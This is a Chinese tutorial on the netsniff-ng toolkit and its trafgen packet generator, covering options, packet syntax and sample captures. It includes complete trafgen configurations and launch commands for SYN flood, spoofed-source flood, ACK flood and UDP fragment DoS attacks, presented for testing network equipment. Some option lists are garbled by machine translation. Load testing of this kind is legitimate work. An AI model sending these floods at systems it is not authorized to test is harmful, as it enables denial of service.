netsniff-ng 指南
目录
netsniff-ng是一个免费的Linux网络工具包,如果您愿意的话,可以为您的日常Linux网络配备瑞士军刀。它的性能增益是通过零拷贝机制实现的,所以在数据包接收和传输时,内核不需要将数据包从内核空间复制到用户空间,反之亦然。我们的工具包可用于网络开发和分析,调试,审计或网络侦察。
trafgen 命令用于生成网络流量数据,可以模拟多种类型的网络流量,如 HTTP、FTP 等。它可以帮助用户测试网络设备的性能和稳定性,以及网络应用的响应速度和可靠性
trafgen 是一个快速的、零拷贝的网络流量生成器,用于调试、性能评估和模糊测试。 trafgen 利用 Linux 的 packet(7) 套接字接口,将对数据包和包头的完全控制推迟到用户空间。 它具有强大的包配置语言,该语言相当底层且不受特定协议的限制。 因此,trafgen 可以有多种用途。 它唯一的限制是不能模拟完整的流或会话。 然而,它非常适合各种类型的负载测试,以便分析并随后改善系统在拒绝服务攻击场景下的行为,例如。 trafgen 是 Linux 特定的,这意味着它不支持其他操作系统,就像 netsniff-ng(8) 一样,因此我们可以将代码占用量保持在最小且最相关的范围内。 trafgen 使用 Linux 内核的 packet(7) 套接字的 TX_RING 接口,这是一个在用户空间和内核空间之间共享的 mmap(2)的环形缓冲区。默认情况下,trafgen会启动与可用CPU数量相同的进程,并将每个进程都绑定到各自的CPU上。在编译好要传输的包列表后,它会在各自的进程空间中设置环形缓冲区。因此,从用户空间来看,这可能是在不加载未支持或非主线第三方内核模块的情况下所能达到的最快的传输性能。在千兆以太网环境下,trafgen与Linux内核自带的pktgen性能相当,但在包配置可能性方面,trafgen更加灵活。在10千兆以太网环境下,由于用户空间和内核空间的开销,trafgen可能比pktgen慢,但对于出厂内核而言,其性能仍然相当高。trafgen具有进行模糊测试的潜力,即可以在所有或某些包偏移量上使用随机数来构建包配置,并且每次发送包时都会生成新的偏移量。trafgen内置了IPv4 ping功能,可以在每次注入包后向远程主机发送ICMP探测包,以测试其是否仍然响应/活跃。假设在进行了一定数量的探测后,远程主机没有给出任何响应,那么该主机就被认为已经“死亡”,并且最后发送的包以及生成包时使用的随机种子将被打印出来。虽然你可能不会在对Linux内核进行模糊测试时真的走运,但显然存在一些存在漏洞的封闭源代码嵌入式系统或网络驱动程序固件文件,trafgen可以帮助找到这些漏洞。 trafgen的配置语言功能非常强大,这在很大程度上要归功于它支持C预处理器宏。为了实现这一目的,trafgen会随附一个stddef.h文件,这样就可以重用Linux内核或网络编程中的常用定义。在配置文件经过C预处理器处理后,它将由trafgen的包编译器进行处理。该语言本身支持一些在组装包时有用的功能,例如内置的IP、UDP和TCP的运行时校验和支持。此外,它还具有一个表达式求值器,可以在编译时将常量表达式的算术(基本运算、位运算、位移位等)操作简化为一个常量。其他功能包括“填充”宏,它允许将一个数据包用一个常数、编译时随机数或运行时随机数填充至n个字节(如在模糊测试中所述)。此外,netsniff-ng(8)还可以将pcap文件转换为trafgen配置文件,从而可以进一步针对特定场景对该配置进行微调
# netsniff-ng工具包由以下工具组成:
netsniff-ng,快速零拷贝分析器,pcap捕获和重放工具
trafgen是一个多线程的低级零拷贝网络包生成器
用于Cisco-CLI *的HW / SW设备的高级数据包生成器mausezahn *
bpfc,Berkeley数据包过滤器编译器,Linux BPF JIT反汇编器
ifpps,一个顶级的内核网络统计工具
flowtop,一个顶级的网状过滤器连接跟踪工具
curvetun,基于轻量级曲线25519的IP隧道
astraceroute,一种自治系统(AS)跟踪路由实用程序
下载及安装
dnf install netsniff-ng
选项及含义
-i | -d | --dev | --in <dev | pcap | - > 输入源为netdev,pcap或pcap stdin
-o | --out <dev | pcap | dir | cfg | - > 输出为netdev,pcap,目录,trafgen或stdout
-C | --fanout-group <id> 加入数据包扇出组
-K | --fanout-type <type> 应用扇出规则:hash | lb | cpu | rnd | roll | qm
-L | --fanout-opts <opts> 其他扇出选项:碎片整理|滚动
-f | --filter <bpf-file | - | expr> 从bpfc文件/ stdin或类似tcpdump的表达式使用BPF过滤器
-t | --type <type> 过滤:host | broadcast | multicast | others | outgoing
-F | --interval <size | time> 转储间隔如果-o是dir:<num> KiB / MiB / GiB / s / sec / min / hrs
-R | --rfraw 捕获或注入原始802.11帧
-n | --num <0 | uint> 直到退出的数据包数量(def:0)
-P | --prefix <name> 存储在目录中的pcaps的前缀
-T | --magic <pcap-magic> 要存储的Pcap幻数/ pcap格式,请参阅-D
-w | --cooked 使用Linux“熟”标题,而不是链接标题
-D | --dump-pcap-types 转储pcap类型和幻数并退出
-B | --dump-bpf 转储生成的BPF程序集
-r | --rand 随机数据包转发顺序(dev-> dev)
-M | --no-promisc 没有混杂的netdev模式
-A | --no-sock-mem 不要调整核心套接字内存
-N | --no-hwtimestamp 禁用硬件时间戳记
-m | --mmap Mmap(2)pcap文件I / O,例如用于重放pcaps
-G | --sg 散布/收集pcap文件I / O
-c | --clrw 使用较慢的读取(2)/写入(2)I / O
-S | --ring-size <size> 指定铃声大小为:<num> KiB / MiB / GiB
-k | --kernel-pull <uint> 从我们的用户区间拉取内核(def:10us)
-J | - jumbo-support 支持重播/ fwd 64KB超大帧(def:2048B)
-b | --bind-cpu <cpu> 绑定到特定的CPU
-u | --user <userid> 删除权限并更改为userid
-g | --group <groupid> 删除权限并更改为groupid
-H | --prio-high 创建这个高优先级的进程
-Q | --notouch-irq 请勿触摸NIC的IRQ CPU关联
-s | --silent 不要打印捕获的数据包
-q | --less 打印较少的详细信息包信息
-X | --hex 以十六进制格式打印分组数据
-l | --ascii 打印可读的数据包数据
-U | --update 更新GeoIP数据库
-V | --verbose 更冗长
-v | --version 显示版本并退出
-h | --help 猜猜怎么样?
# trafgen 默认占用所有 CPU
trafgen 常用参数及含义
参数 | 含义 |
---|---|
-q|--qdisc-path | 表示不绕过 qdisc 内核路径,默认是绕过,绕过时tcpdump 将会抓不到发送的数据报文 |
-d|--dev | 表示发送报文的网络设备 |
--conf | 数据包配置文件 |
-P|--cpus | 表示使用 CPU 个数,默认是所有 CPU |
-p|--cpp | 表示通过C预处理器运行包配置 |
-V|--verbose | 显示详细信息 |
-S|--ring-size | 手动设置mmap大小 |
-J|--jumbo-support | 添加巨型帧支持64KB,默认2048B |
-n|--num | 数据包的数量 |
用法:trafgen [options] [packet]
选项:
-i|-c|——in|——conf <cfg/->包配置文件/stdin
- o | - | - - - |——dev < netdev . cfg | |。pcap>网络设备或配置文件,即eth0
-p|——cpp通过C预处理器运行包配置
为C预处理器添加宏/定义
-J|——jumbo- Support支持64KB超大帧(def: 2048B)
-R|——raw注入原始802.11帧
-s|——smoke-test <ipv4>探测机器是否通过模糊测试数据包
-n|——num < int>退出前的数据包数(def: 0)
-r|——rand随机选择包(def: round robin)
-P|——cpus < int>指定分叉的数量(<= cpus) (def: # cpus)
-t|——gap <time>设置时间。包间间隙(s/ms/us/ns, def: us)
-b|——rate <rate>按指定速率发送流量(pps/B/kB/MB/GB/kbit/Mbit/Gbit/KiB/MiB/GiB)
-S|——ring-size <size>手动设置mmap大小(KiB/MiB/GiB)
-E|——seed < int>手动设置srand(3)种子
-u|——user <userid>删除权限并更改为userid
-g|——group <groupid>删除权限,修改为groupid
-H|——priority -high设置该进程为高优先级
-A|—no-sock-mem不要调优core socket内存
-Q|——notouch-irq不触碰网卡的IRQ CPU亲和性
-q|——qdisc-path启用qdisc内核路径(自3.14起默认关闭)
-V|——verbose更详细
-C|——no-cpu-stats退出时不打印CPU时间统计信息
-v|——version显示版本并退出
-e|——example显示内置包配置示例
-h|——help你猜怎么着?
命令示例
# 用法:
netsniff-ng [options] [filter-expression]
netsniff-ng [选项] [过滤器表达式]
netsniff-ng --in eth0 --out dump.pcap -s -T 0xa1b2c3d4 --b 0 tcp or udp
netsniff-ng --in wlan0 --rfraw --out dump.pcap --silent --bind-cpu 0
netsniff-ng --in dump.pcap --mmap --out eth0 -k1000 --silent --bind-cpu 0
netsniff-ng --in dump.pcap --out dump.cfg --silent --bind-cpu 0
netsniff-ng --in dump.pcap --out dump2.pcap --silent tcp
netsniff-ng --in eth0 --out eth1 --silent --bind-cpu 0 -J --type host
netsniff-ng --in eth1 --out /opt/probe/ -s -m --interval 100MiB -b 0
netsniff-ng --in vlan0 --out dump.pcap -c -u `id -u bob` -g `id -g bob`
netsniff-ng --in any --filter http.bpf --jumbo-support --ascii -V
1. 发送交变流 -- DDOS 攻击
在TAS端使用命令启动向测试网卡发包:
trafgen --cpp --dev [ethX] --conf test.trafgen --verbose
ethX为TAS端发包网卡设备名称
交变流配置文件: test.trafgen
#include <stddef.h>
{
/* MAC Destination */
/*fill(0xff, ETH_ALEN),*/
0xf4, 0xe9, 0xd4, 0x75, 0x81, 0xf1, /*修改为目的MAC地址*/
/* MAC Source */
0x00, 0x02, 0xb3, drnd(3),
/* IPv4 Protocol */
c16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
c16(59),
/* IPv4 Ident */
drnd(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* Source IP */
20, dinc(0,255,1), dinc(0,255,1), dinc(0,254,1), /*生成以20开头的随机源IP地址*/
/*drnd(4),*/
/* Dest IP */
/*drnd(4),*/
20, 20, 20, 111, /*目的IP地址*/
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
c16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
c32(0),
/* TCP Header length + TCP SYN/ECN Flag */
c16((8 << 12) | TCP_FLAG_SYN | TCP_FLAG_ECE)
/* Window Size */
c16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
/* TCP Options */
0x00, 0x00, 0x01, 0x01, 0x08, 0x0a, 0x06,
0x91, 0x68, 0x7d, 0x06, 0x91, 0x68, 0x6f,
/* Data blob */
"gotcha!",
}
2. 发送 SYNFlood 攻击
在TAS端使用命令启动向测试网卡发包:
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
ethX为TAS端发包网卡设备名称
SYNFlood 攻击配置文件: synflood.trafgen
/* TCP SYN attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
// 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination
// 0x00, 0x12, 0xc0, drnd(3), # MAC Source
0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination
0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
// 10, 10, 88, drnd(1), # Source IP
10, 10, 88, 173, # Source IP
10, 10, 88, 172, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
const32(0), /* NOTICE ACK==zero with SYN packets */
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
const16((0x5 << 12) | SYN) /* TCP SYN Flag */
//const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"SYNswf"
}
3. 发送 AckFlood 攻击
在TAS端使用命令启动向测试网卡发包:
trafgen --cpp --dev ens33 --conf ackflood.trafgen --verbose
ethX为TAS端发包网卡设备名称
ACK Flood攻击是一种针对TCP连接的分布式拒绝服务攻击(DDoS攻击)方式,发生在TCP连接建立之后,攻击者通过发送大量带有ACK标志位的数据包给目标服务器。这种攻击利用了TCP协议的特性,即当主机接收到一个带有ACK标志位的数据包时,需要检查该数据包所表示的连接是否存在以及状态是否合法,然后再向应用层传递该数据包。如果在检查中发现数据包不合法,如指向的目的端口未开放,则主机操作系统协议栈会回应RST包告诉对方此端口不存在。然而,当攻击者发送大量的伪造ACK数据包时,服务器需要耗费大量资源来处理这些数据包,包括检查连接的合法性并回应RST包,这会导致服务器的CPU资源被大量消耗,尤其是在高流量攻击下,可能会导致服务器处理性能下降,甚至服务中断或质量下降。此外,攻击者可能利用带有超大载荷的ACK数据包引起链路拥塞,或者通过极高速率的变源变端口的请求导致转发的设备异常,从而引起网络瘫痪或消耗服务器处理性能,使被攻击服务器拒绝正常服务12。
防御ACK Flood攻击的方法包括增强服务器的处理能力,例如通过优化服务器配置、使用高性能的硬件和软件,以及实施有效的流量控制机制来减少不必要的ACK数据包的处理。此外,采用状态检测防火墙来拦截非法的数据包,减少对服务器的直接冲击也是一个有效的防御手段。通过这些措施,可以降低ACK Flood攻击对服务器的影响,保护服务的可用性和稳定性4。
AckFlood 攻击配置文件: ackflood.trafgen
/* TCP ACK attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
10, 10, 88, 172, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
drnd(4),
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
//const16((0x5 << 12) | SYN) /* TCP SYN Flag */
const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"ACKswf"
}
4. 发送 UDP fragment 攻击
在TAS端使用命令启动向测试网卡发包:
trafgen --cpp --dev ens33 --conf small_frag.trafgen --verbose
ethX为TAS端发包网卡设备名称
UDP fragment 攻击配置文件: small_frag.trafgen
/* UDP fragment DoS attack
* Command example:
* trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
// trafgen packet conf for fragment DoS attack
// -------------------------------------------
// - Need to randomize the frag ID
// - Use trafgen support for dynamic checksum recalc
//
// Checksum cannot be fixed with iptables:
// iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
// Because traffic is injected a place which don't have any NF hooks
//
{
// --- Ethernet Header ---
0x68, 0xbe, 0x49, 0x28, 0x01, 0xba, # MAC Destination 68:be:49:28:01:ba
0x68, 0xbe, 0x49, 0x28, 0x01, 0xa8, # MAC Source: 68:be:49:28:01:a8
const16(0x0800), // Protocol
// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),
// ID, notice runtime dynamic random
drnd(2),
// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,
64, //TTL
17, // Proto UDP
// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),
33, 33, 33, 14, # Source IP
33, 33, 33, 73, # Dest IP
// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(43514), // dst port
const16(20), // UDP length
// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),
// Payload
'A', fill(0x41, 11),
}
各层协议配置格式
各层协议配置格式及其字段详解
# Ethernet
eth(da=<mac>, sa=<mac>, type=<number>)
eth(daddr=<mac>, saddr=<mac>, type=<number>)
sa 默认为: 网口 MAC 地址
type 默认为:0x0800(IPV4)
-------------------------------------------
# IPv4
ip4|ipv4(ihl=<number>, ver=<number>, len=<number>, csum=<number>, ttl=<number>, tos=<number>, dscp=<number>,
ecn=<number>,id=<number>, flags=<number>, frag=<number>,df, mf, da=<ip4_addr>, sa=<ip4_addr>, prot[o]=<number>)
sa 默认为: 网口 IP
# TCP
tcp(sp=<number>, dp=<number>, seq=<number>, aseq|ackseq=<number>, doff|hlen=<number>, cwr, ece|ecn, urg,
ack, psh, rst, syn, fin, win|window=<number>, csum=<number>, urgptr=<number>)
# UDP
udp(sp=<number>, dp=<number>, len=<number>,csum=<number>)
# ICMPv4
icmp4|icmpv4(type=<number>, code=<number>, echorequest, echoreply, csum=<number>, mtu=<number>,
seq=<number>, id=<number>, addr=<ip4_addr>)
# VLAN
vlan(tpid=<number>, id=<number>, dei=<number>, tci=<number>, pcp=<number>, 1q, 1ad)
# ARP
arp(htype=<number>, ptype=<number>, op=<request|reply|number>, request, reply, smac=<mac>,
sip=<ip4_addr>, tmac=<mac>, tip=<ip4_addr>)
# IPv6
ip6|ipv6(ver=<number>, class=<number>, flow=<number>, len=<number>, nexthdr=<number>, hoplimit=<number>,
da=<ip6_addr>, sa=<ip6_addr>)
# IPv6
ip6|ipv6(ver=<number>, class=<number>, flow=<number>, len=<number>, nexthdr=<number>, hoplimit=<number>,
da=<ip6_addr>, sa=<ip6_addr>)
# PAUSE (IEEE 802.3X)
pause(code=<number>, time=<number>)
# PFC
pfc(pri|prio(<number>)=<number>, time(<number>)=<number>)
函数详解
顺序增长函数
dinc(min, max, step) # 默认步长为 1, 且这 3 个参数都可省略
da=11:22:33:44:55:66, da[0]=dinc() # 表示mac地址第一个8bit 十进制数自增长
ipv4(da=1.2.3.4,da[0]=dinc()) # 表示ip 地址第一个8bit 十进制数自增长
随机数函数
drnd(min, max)
二进制位计算函数
const8(<content>), c8(<content>), const16(<content>),c16(<content>),
const32(<content>), c32(<content>), const64(<content>), c64(<content>)
checksum 校验函数
IP/ICMP checksum: csumip/csumicmp(<off-from>, <off-to>)
UDP checksum: csumudp(<off-iphdr>, <off-udpdr>)
TCP checksum: csumtcp(<off-iphdr>, <off-tcphdr>)
UDP checksum (IPv6): csumudp6(<off-ip6hdr>, <off-udpdr>)
TCP checksum (IPv6): csumtcp6(<off-ip6hdr>, <off-tcphdr>)
其他
# 默认 smac 为网口 mac 地址,
# 默认 dmac 为: 00:00:00:00:00:00
# 默认 sip 为网口 IP 地址
# 默认 dip 为 0.0.0.0.0
# csum 字段不写,他自己会计算
# sport 不设置, 默认是随机
trafgen --cpp --dev ens22f0 --cpus 6 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc()), tcp() }'
14:29:45.369844 68:be:49:28:00:ce > fd:22:33:44:55:66, ethertype IPv4 (0x0800), length 54: (tos 0x0, id 0, offset 0, flags [none], proto TCP (6), length 40)
140.8.48.152.0 > 0.0.0.0.0: Flags [none], cksum 0xf344 (correct), seq 0, win 0, length 0
0x0000: fd22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 0028 0000 0000 0006 fe30 8c08 3098 0000
0x0020: 0000 0000 0000 0000 0000 0000 0000 5000
0x0030: 0000 f344 0000
trafgen --cpp --dev ens22f0 --cpus 6 -q --verbose '{ipv4(da=1.2.3.4,da[0]=dinc()), tcp()}'
14:32:53.021518 68:be:49:28:00:ce > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 54: (tos 0x0, id 0, offset 0, flags [none], proto TCP (6), length 40)
140.8.48.152.0 > 147.2.3.4.0: Flags [none], cksum 0x5d3e (correct), seq 0, win 0, length 0
0x0000: 0000 0000 0000 68be 4928 00ce 0800 4500
0x0010: 0028 0000 0000 0006 682a 8c08 3098 9302
0x0020: 0304 0000 0000 0000 0000 0000 0000 5000
0x0030: 0000 5d3e 0000
trafgen --cpp --dev ens22f0 --cpus 6 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc()),ipv4(da=1.2.3.4,da[0]=dinc()), tcp()}'
14:35:55.957930 68:be:49:28:00:ce > 86:22:33:44:55:66, ethertype IPv4 (0x0800), length 54: (tos 0x0, id 0, offset 0, flags [none], proto TCP (6), length 40)
140.8.48.152.0 > 118.2.3.4.0: Flags [none], cksum 0x7a3e (correct), seq 0, win 0, length 0
0x0000: 8622 3344 5566 68be 4928 00ce 0800 4500
0x0010: 0028 0000 0000 0006 852a 8c08 3098 7602
0x0020: 0304 0000 0000 0000 0000 0000 0000 5000
0x0030: 0000 7a3e 0000
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12)),ipv4(da=1.2.3.4,da[0]=dinc(1,10,2)), tcp()}'
15:02:20.602465 68:be:49:28:00:ce > 0c:22:33:44:55:66, ethertype IPv4 (0x0800), length 54: (tos 0x0, id 0, offset 0, flags [none], proto TCP (6), length 40)
140.8.48.152.0 > 7.2.3.4.0: Flags [none], cksum 0xe93e (correct), seq 0, win 0, length 0
0x0000: 0c22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 0028 0000 0000 0006 f42a 8c08 3098 0702
0x0020: 0304 0000 0000 0000 0000 0000 0000 5000
0x0030: 0000 e93e 0000
# 构造 icmp 应答报文
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12)),ipv4(da=1.2.3.4,da[0]=dinc(1,10)), icmp4(type=0, code=0)}'
15:47:56.662713 68:be:49:28:00:ce > 0b:22:33:44:55:66, ethertype IPv4 (0x0800), length 42: (tos 0x0, id 0, offset 0, flags [none], proto ICMP (1), length 28)
140.8.48.152 > 1.2.3.4: ICMP echo reply, id 0, seq 0, length 8
0x0000: 0b22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 001c 0000 0000 0001 fa3b 8c08 3098 0102
0x0020: 0304 0000 ffff 0000 0000
# 构造 icmp 请求报文
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12)),ipv4(da=1.2.3.4,da[0]=dinc(1,10)), icmp4(type=8, code=0)}'
15:57:22.528212 68:be:49:28:00:ce > 0c:22:33:44:55:66, ethertype IPv4 (0x0800), length 42: (tos 0x0, id 0, offset 0, flags [none], proto ICMP (1), length 28)
192.168.201.2 > 4.2.3.4: ICMP echo request, id 0, seq 0, length 8
0x0000: 0c22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 001c 0000 0000 0001 2a31 c0a8 c902 0402
0x0020: 0304 0800 f7ff 0000 0000
# 构造 IP checksum 错误的报文
# 构造 TCP checksum 错误的报文
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12), type=2048),ipv4(ver=4,ihl=5,len=59,id=30788,flags=64,frag=0,ttl=64,prot=17,da=1.2.3.4,da[0]=dinc(1,10)), tcp(sp=drnd(2),dp=80,seq=drnd(4),ackseq=0,hlen=8,win=16)}'
# 构造 UDP 报文
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12), type=2048),ipv4(ver=4,ihl=5,len=59,id=30788,flags=64,frag=0,ttl=64,prot=17,da=1.2.3.4,da[0]=dinc(1,10)), udp(sp=drnd(),dp=80,len=65523)}'
17:48:04.453232 68:be:49:28:00:ce > 0b:22:33:44:55:66, ethertype IPv4 (0x0800), length 42: truncated-ip - 31 bytes missing! (tos 0x0, ttl 64, id 30788, offset 0, flags [none], proto UDP (17), length 59)
192.168.201.2.36619 > 1.2.3.4.80: UDP, bad length 65515 > 31
0x0000: 0b22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 003b 7844 0000 4011 74bd c0a8 c902 0102
0x0020: 0304 8f0b 0050 fff3 e2e5
0x0800 转化为 10 进制为 2048
prot=6 表示 TCP , 17 表示 UDP
# 构造 UDP 报文, csum 自动计算
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12)),ipv4(da=1.2.3.4,da[0]=dinc(1,10)), udp(sp=drnd(),dp=80,len=65523)}'
16:12:35.471416 68:be:49:28:00:ce > 0b:22:33:44:55:66, ethertype IPv4 (0x0800), length 42: (tos 0x0, id 0, offset 0, flags [none], proto UDP (17), length 28)
192.168.201.2.5437 > 5.2.3.4.80: [udp sum ok] UDP, bad length 65515 > 0
0x0000: 0b22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 001c 0000 0000 0011 2921 c0a8 c902 0502
0x0020: 0304 153d 0050 fff3 58b4
# 构造 UDP checksum 错误的报文
trafgen --cpp --dev ens22f0 --cpus 1 -q --verbose '{eth(da=11:22:33:44:55:66, da[0]=dinc(11,12)),ipv4(da=1.2.3.4,da[0]=dinc(1,10)), udp(sp=drnd(),dp=80,len=65523,csum=314)}'
16:10:38.627416 68:be:49:28:00:ce > 0c:22:33:44:55:66, ethertype IPv4 (0x0800), length 42: (tos 0x0, id 0, offset 0, flags [none], proto UDP (17), length 28)
192.168.201.2.15862 > 8.2.3.4.80: [bad udp cksum 0x013a -> 0x2cfb!] UDP, bad length 65515 > 0
0x0000: 0c22 3344 5566 68be 4928 00ce 0800 4500
0x0010: 001c 0000 0000 0011 2621 c0a8 c902 0802
0x0020: 0304 3df6 0050 fff3 013a
# 构造 ARP 应答报文